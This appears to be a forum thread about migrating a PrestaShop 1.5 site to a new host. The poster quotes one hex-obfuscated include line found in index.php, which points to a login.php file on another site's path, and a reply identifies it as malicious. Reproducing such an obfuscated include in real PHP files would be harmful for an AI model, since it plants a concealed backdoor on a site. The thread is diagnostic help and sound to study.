Transfer To New Host And New To Prestashop

[l33tn00b]

Hello all,

 

I was recently asked to help a friend transfer his PrestaShop site to a new host. He received a SQL backup and all PrestaShop files from his previous webmaster and gave them to me.

 

I have created a folder on his new host "Shop" under the root directory. I uploaded his files and created a new SQL database. I then imported his old SQL database and edited the "settings.inc.php" file.

 

But when I load the new website I am receiving this error:

 

failed to open stream: No such file or directory in /home/cwilwert/public_html/shop/index.php on line 3

 

I am a little confused on a line of code in the index.php file under the shop directory. Is this an absolute path or something nefarious?

 

include "\x2fhom\x65/us\x65rs/\x77eb/\x62190\x36/po\x77.rc\x73com\x70ute\x72sal\x65sco\x6d/ht\x64ocs\x2feli\x74eou\x74doo\x72s24\x37.co\x6d/sh\x6fp/c\x6cass\x65s/e\x78cep\x74ion\x2flog\x69n.p\x68p";

 

Thank you in advance and I apoligize if this has been covered, but I search and did not see it.

something nefarious.  you don't say what version of Prestashop this is, but in PS v1.6, the index.php file should have the following (ignoring comments)

<?php
require(dirname(__FILE__).'/config/config.inc.php');
Dispatcher::getInstance()->dispatch();

Thanks for the reply bellini13!

 

I am using PS v1.6.

 

After commenting this out, I now have a new error:

 

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "/home/cwilwert/public_html/shop/themes/default-bootstrap/modules/blockcart/blockcart.tpl" on line 339 "{addJsDef CUSTOMIZE_TEXTFIELD=$CUSTOMIZE_TEXTFIELD}" unknown tag "addJsDef" <-- thrown in /home/cwilwert/public_html/shop/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 339

 

I am not sure where to go from here.

I just notice that the version of PS that I was given is PS1.5.4.0.

 

Would this be cause for my error?

Do you want to better explain what you are trying to accomplish?

 

PS v1.5.4.0 did not include a theme named default-bootstrap, that only exists with PS v1.6+

My first question is why did you create a folder named shop, all files should have been uploaded directly to the public_html folder.

 

You would need to point the URL to the sub directory in the control panel of the Host if using a sub folder.

 

Also when you created the database was the database server, user and password the same as original if not these need to be changed in the settings.inc.php file.

I am sorry I was vague in my original post.

 

I am being tasked with helping a friend move his website to a new host. With my limited understanding of PrestaShop I thought I just needed to get a backup of his database (SQL) and an archive of his current website.

 

His current webmaster gave use a back of the database and a zip file with what I presumed are all the files for his site.

 

His current website is running PS 1.5.4.0 (I didn't know this until I had already uploaded PS 1.6.1.4.

 

Yes - I did edit the settings.inc.php file with the current information.

 

I put all of the files under "Shop" just to keep it organized for myself. Should I change this?

 

Would it be better for me to upload PS 1.5.4.0 to his NEW host instead of trying to make it work with PS 1.6?

You can not use a 1.5 database to run a 1.6 store/files, you need to upload the files from the zip backup and the database that goes with it.

There were a lot of changes from 1.5 to 1.6 so that just want work.

Upload the files to the root folder public_html and then make ant necessary changes the settings file and database URLs.
